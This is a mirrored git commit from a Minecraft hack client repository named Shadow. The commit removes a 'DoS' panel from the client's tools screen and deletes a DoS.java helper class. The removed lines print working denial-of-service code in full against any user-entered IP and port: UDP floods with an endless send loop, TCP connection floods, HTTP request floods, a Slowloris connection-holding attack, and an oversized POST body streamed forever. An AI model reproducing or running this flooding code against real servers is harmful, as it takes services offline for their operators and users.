mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-14 19:04:54 -05:00
parent
1835c7187c
commit
b5da1a2439
2 changed files with 1 additions and 213 deletions
|
@ -12,13 +12,7 @@ import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket;
|
||||||
import net.minecraft.network.packet.s2c.play.GameMessageS2CPacket;
|
import net.minecraft.network.packet.s2c.play.GameMessageS2CPacket;
|
||||||
import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket;
|
import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket;
|
||||||
import net.shadow.client.ShadowMain;
|
import net.shadow.client.ShadowMain;
|
||||||
import net.shadow.client.feature.config.DoubleSetting;
|
|
||||||
import net.shadow.client.feature.config.StringSetting;
|
|
||||||
import net.shadow.client.feature.gui.clickgui.element.Element;
|
import net.shadow.client.feature.gui.clickgui.element.Element;
|
||||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.DoubleSettingEditor;
|
|
||||||
import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor;
|
|
||||||
import net.shadow.client.feature.gui.notifications.Notification;
|
|
||||||
import net.shadow.client.feature.gui.notifications.Notification.Type;
|
|
||||||
import net.shadow.client.feature.gui.panels.PanelsGui;
|
import net.shadow.client.feature.gui.panels.PanelsGui;
|
||||||
import net.shadow.client.feature.gui.panels.elements.PanelButton;
|
import net.shadow.client.feature.gui.panels.elements.PanelButton;
|
||||||
import net.shadow.client.feature.gui.panels.elements.PanelFrame;
|
import net.shadow.client.feature.gui.panels.elements.PanelFrame;
|
||||||
|
@ -27,13 +21,10 @@ import net.shadow.client.feature.module.ModuleType;
|
||||||
import net.shadow.client.helper.event.EventType;
|
import net.shadow.client.helper.event.EventType;
|
||||||
import net.shadow.client.helper.event.Events;
|
import net.shadow.client.helper.event.Events;
|
||||||
import net.shadow.client.helper.event.events.PacketEvent;
|
import net.shadow.client.helper.event.events.PacketEvent;
|
||||||
import net.shadow.client.helper.util.DoS;
|
|
||||||
import net.shadow.client.helper.util.Utils;
|
import net.shadow.client.helper.util.Utils;
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
import java.util.function.Consumer;
|
|
||||||
|
|
||||||
public class ShadowScreen extends Module {
|
public class ShadowScreen extends Module {
|
||||||
|
|
||||||
|
@ -42,8 +33,6 @@ public class ShadowScreen extends Module {
|
||||||
boolean enabled = false;
|
boolean enabled = false;
|
||||||
boolean alt = false;
|
boolean alt = false;
|
||||||
PanelsGui menu = null;
|
PanelsGui menu = null;
|
||||||
DoubleSetting dsv = new DoubleSetting.Builder(100).min(0).max(100000).name("Packets").get();
|
|
||||||
StringSetting ss = new StringSetting.Builder("127.0.0.1:90").name("IP:PORT").get();
|
|
||||||
|
|
||||||
public ShadowScreen() {
|
public ShadowScreen() {
|
||||||
super("Tools", "tools screen", ModuleType.RENDER);
|
super("Tools", "tools screen", ModuleType.RENDER);
|
||||||
|
@ -155,71 +144,7 @@ public class ShadowScreen extends Module {
|
||||||
enabled = true;
|
enabled = true;
|
||||||
ShadowMain.client.player.sendChatMessage("/rg list");
|
ShadowMain.client.player.sendChatMessage("/rg list");
|
||||||
})
|
})
|
||||||
}),
|
})
|
||||||
new PanelFrame(350, 100, 250, 210, "DoS", new Element[]{
|
|
||||||
new DoubleSettingEditor(0, 0, -1, dsv),
|
|
||||||
new StringSettingEditor(0, 20, 240, ss),
|
|
||||||
new PanelButton(0, 50, -1, "UDP", () -> {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
for (int i = 0; i < dsv.getValue(); i++) {
|
|
||||||
DoS.udp(hostip[0], Integer.parseInt(hostip[1]));
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
new PanelButton(0, 70, -1, "TCP", () -> {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
for (int i = 0; i < dsv.getValue(); i++) {
|
|
||||||
DoS.tcp(hostip[0], Integer.parseInt(hostip[1]));
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
new PanelButton(0, 90, -1, "HTTP", () -> {
|
|
||||||
for (int i = 0; i < dsv.getValue(); i++) {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
try {
|
|
||||||
DoS.http(hostip[0], Integer.parseInt(hostip[1]), "/");
|
|
||||||
} catch (NumberFormatException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
new PanelButton(0, 110, -1, "UDP V2", () -> new Thread(() -> {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
for (int i = 0; i < dsv.getValue() / 1000; i++) {
|
|
||||||
new Thread(() -> {
|
|
||||||
DoS.udp2(hostip[0], Integer.parseInt(hostip[1]));
|
|
||||||
}).start();
|
|
||||||
}
|
|
||||||
}).start()),
|
|
||||||
new PanelButton(0, 130, -1, "TCP V2", () -> {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
for (int i = 0; i < dsv.getValue(); i++) {
|
|
||||||
DoS.tcp2(hostip[0], Integer.parseInt(hostip[1]));
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
new PanelButton(0, 150, -1, "Slow Loris", () -> {
|
|
||||||
for (int i = 0; i < dsv.getValue() / 1000; i++) {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
try {
|
|
||||||
DoS.slowLoris(hostip[0], Integer.parseInt(hostip[1]), "/");
|
|
||||||
} catch (NumberFormatException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (IOException e) {
|
|
||||||
Notification.create(2000, "DoS", Type.SUCCESS, "Server Didn't respond!");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}),
|
|
||||||
new PanelButton(0, 170, -1, "Slow Loris V2", () -> {
|
|
||||||
for (int i = 0; i < dsv.getValue(); i++) {
|
|
||||||
String[] hostip = ss.getValue().split(":");
|
|
||||||
try {
|
|
||||||
DoS.ramNibbler(hostip[0], Integer.parseInt(hostip[1]), "/");
|
|
||||||
} catch (NumberFormatException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
} catch (IOException e) {
|
|
||||||
Notification.create(2000, "DoS", Type.SUCCESS, "Server Didn't respond!");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}),
|
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
ShadowMain.client.setScreen(menu);
|
ShadowMain.client.setScreen(menu);
|
||||||
|
|
|
@ -1,137 +0,0 @@
|
||||||
package net.shadow.client.helper.util;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStream;
|
|
||||||
import java.io.OutputStream;
|
|
||||||
import java.net.*;
|
|
||||||
import java.nio.charset.StandardCharsets;
|
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Random;
|
|
||||||
|
|
||||||
public class DoS {
|
|
||||||
|
|
||||||
final static List<OutputStream> loris = new ArrayList<>();
|
|
||||||
|
|
||||||
public static void udp(String hostname, int port) {
|
|
||||||
try {
|
|
||||||
DatagramSocket socket = new DatagramSocket();
|
|
||||||
//socket.connect(new InetSocketAddress(hostname, port)); datagram sockets dont need to connect according to wikipedia
|
|
||||||
byte[] payload = new byte[256];
|
|
||||||
for (int i = 0; i < 255; i++) {
|
|
||||||
payload[i] = (byte) 1;
|
|
||||||
}
|
|
||||||
InetAddress target = InetAddress.getByName(hostname);
|
|
||||||
DatagramPacket crash = new DatagramPacket(payload, payload.length, target, port);
|
|
||||||
socket.send(crash);
|
|
||||||
socket.close();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void udp2(String hostname, int port) {
|
|
||||||
try {
|
|
||||||
DatagramSocket socket = new DatagramSocket();
|
|
||||||
//socket.connect(new InetSocketAddress(hostname, port)); datagram sockets dont need to connect according to wikipedia
|
|
||||||
byte[] payload = new byte[4096];
|
|
||||||
for (int i = 0; i < 4095; i++) {
|
|
||||||
payload[i] = (byte) 1;
|
|
||||||
}
|
|
||||||
InetAddress target = InetAddress.getByName(hostname);
|
|
||||||
DatagramPacket crash = new DatagramPacket(payload, payload.length, target, port);
|
|
||||||
while(true){
|
|
||||||
socket.send(crash);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void tcp(String hostname, int port) {
|
|
||||||
try {
|
|
||||||
Socket socket = new Socket(hostname, port);
|
|
||||||
socket.connect(new InetSocketAddress(hostname, port));
|
|
||||||
socket.close();
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void tcp2(String hostname, int port) {
|
|
||||||
try {
|
|
||||||
Socket socket = new Socket(hostname, port);
|
|
||||||
socket.setKeepAlive(true);
|
|
||||||
socket.connect(new InetSocketAddress(hostname, port));
|
|
||||||
//socket.close();
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void http(String host, int port, String path) {
|
|
||||||
try {
|
|
||||||
Socket s = new Socket();
|
|
||||||
s.connect(new InetSocketAddress(host, port));
|
|
||||||
OutputStream os = s.getOutputStream();
|
|
||||||
os.write(("GET " + path + " HTTP/1.1\n").getBytes(StandardCharsets.UTF_8));
|
|
||||||
os.write("User-Agent: shadow /1.0\n\n".getBytes(StandardCharsets.UTF_8));
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void ramNibbler(String hostname, int port, String path) throws IOException {
|
|
||||||
Socket s = new Socket();
|
|
||||||
s.connect(new InetSocketAddress(hostname, port));
|
|
||||||
OutputStream os = s.getOutputStream();
|
|
||||||
os.write(("POST " + path + " HTTP/1.1\n").getBytes(StandardCharsets.UTF_8));
|
|
||||||
os.write("User-Agent: shadow /1.0\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 2147483647\nAccept: */*\n\n".getBytes(StandardCharsets.UTF_8));
|
|
||||||
os.write("Shits-Fucked: ".getBytes(StandardCharsets.UTF_8));
|
|
||||||
while (true) {
|
|
||||||
os.write((rndPacket(2048)).getBytes(StandardCharsets.UTF_8));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public static void slowLoris(String hostname, int port, String path) throws IOException {
|
|
||||||
if (loris.size() == 0) {
|
|
||||||
new Thread(() -> {
|
|
||||||
for (OutputStream os : loris) {
|
|
||||||
try {
|
|
||||||
os.write(("User-Data: " + rndStr(15) + "\n").getBytes(StandardCharsets.UTF_8));
|
|
||||||
} catch (IOException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
Utils.sleep(5000);
|
|
||||||
}
|
|
||||||
}, "lorisPinger").start();
|
|
||||||
}
|
|
||||||
Socket s = new Socket();
|
|
||||||
s.connect(new InetSocketAddress(hostname, port));
|
|
||||||
OutputStream os = s.getOutputStream();
|
|
||||||
InputStream is = s.getInputStream();
|
|
||||||
os.write(("GET " + path + " HTTP/1.1\n").getBytes(StandardCharsets.UTF_8));
|
|
||||||
os.write("User-Agent: shadow /1.0\n".getBytes(StandardCharsets.UTF_8));
|
|
||||||
loris.add(os);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String rndStr(int size) {
|
|
||||||
StringBuilder buf = new StringBuilder();
|
|
||||||
String[] chars = new String[]{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
|
|
||||||
Random r = new Random();
|
|
||||||
for (int i = 0; i < size; i++) {
|
|
||||||
buf.append(chars[r.nextInt(chars.length)]);
|
|
||||||
}
|
|
||||||
return buf.toString();
|
|
||||||
}
|
|
||||||
|
|
||||||
private static String rndPacket(int size) {
|
|
||||||
StringBuilder buf = new StringBuilder();
|
|
||||||
String[] chars = new String[]{"䲜", "龘", "䨻", "𪚥", "𰽔", "𱁬", "", "", "", "", "", ""};
|
|
||||||
Random r = new Random();
|
|
||||||
for (int i = 0; i < size; i++) {
|
|
||||||
buf.append(chars[r.nextInt(chars.length)]);
|
|
||||||
}
|
|
||||||
return buf.toString();
|
|
||||||
}
|
|
||||||
}
|
|
Loading…
Reference in a new issue